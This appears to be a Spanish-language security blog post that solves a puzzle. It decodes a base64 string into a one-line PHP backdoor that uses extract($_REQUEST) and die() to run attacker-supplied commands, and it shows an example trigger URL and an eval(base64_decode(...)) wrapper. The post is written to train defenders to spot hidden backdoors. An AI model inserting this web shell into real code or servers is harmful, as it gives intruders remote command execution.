VULNERABILIDADES DE APLICACIONES WEB: JUEGO DE VERANO - NIVEL INTERMEDIO (II - LA RESPUESTA)

12.02.2018 09:24
 
En este juego preguntábamos ¿qué es esto?:
 
QGV4dHJhY3QgKCRfUkVRVUVTVCk7IEBkaWUgKCR1bGFkbygkdWFyZWEpKTs=
 
Es fácil reconocer la codificación base64. Decodificando obtenemos el siguiente código PHP:
 
@extract ($_REQUEST); @die ($ulado($uarea));
 
En el código PHP que obtenemos tenemos que "@" es un operador de supresión de errores; "extract" importa variables a la tabla de símbolos actual desde una matriz; "$_REQUEST" es una matriz asociativa que por defecto contiene el contenido de $_GET, $_POST y $_COOKIE y "die()" es un constructor de lenguaje equivalente a "exit()". 
 
En el código descripto $_REQUEST está extrayendo cualquier contenido enviado a través de solicitudes GET o POST y creando variables para ellos, en nuestro caso $ulado y $uarea, nombres que hemos elegido con el expreso propósito de que no signifiquen nada en especial para que pasen desapercibidos. Entonces "die()" ejecutará lo que el atacante envíe con "ulado" y "uarea" como argumento, por ejemplo ulado=system y uarea=cualquier comando.
 
https://127.0.0.1/directorio/subdirectorio/puertatrasera.php?ulado=system&uarea=comando
 
Estamos entonces claramente ante la posibilidad de una inyección de comandos, por ende en presencia de una muy probable puerta trasera.
 
En cuanto a la cadena:
 
QGV4dHJhY3QgKCRfUkVRVUVTVCk7IEBkaWUgKCR1bGFkbygkdWFyZWEpKTs=
 
la misma podría esta inserta dentro de algo así como lo siguiente:
 
eval(base64_decode(QGV4 ... KTs=));
 
lo cual no tendría demasiado sentido, ya que el constructor de lenguaje "eval()" llamaría mucho la atención mientras que para muchos "@extract ($_REQUEST); @die ($ulado($uarea));" pasaría desapercibido, cuando no directamente incomprendido. La codificación base64 fue más una parte de la dinámica del juego que un artilugio para ocultar la funcionalidad real del código.
 
El juego pretende llamar la atención de lo desapercibidas que a veces pueden pasar algunas puertas traseras. Todos aquellos que deban asegurar el servidor y las aplicaciones que el mismo aloja deberán estar bien entrenados en detectar este tipo de artilugios. El pirata informático tratará que sus puertas traseras pasen desapercibidas a los programas de seguridad y a los controles manuales. Hay que prestar mucha atención y estar entrenado para detectar código malicioso. 
 
 
Artículo relacionado: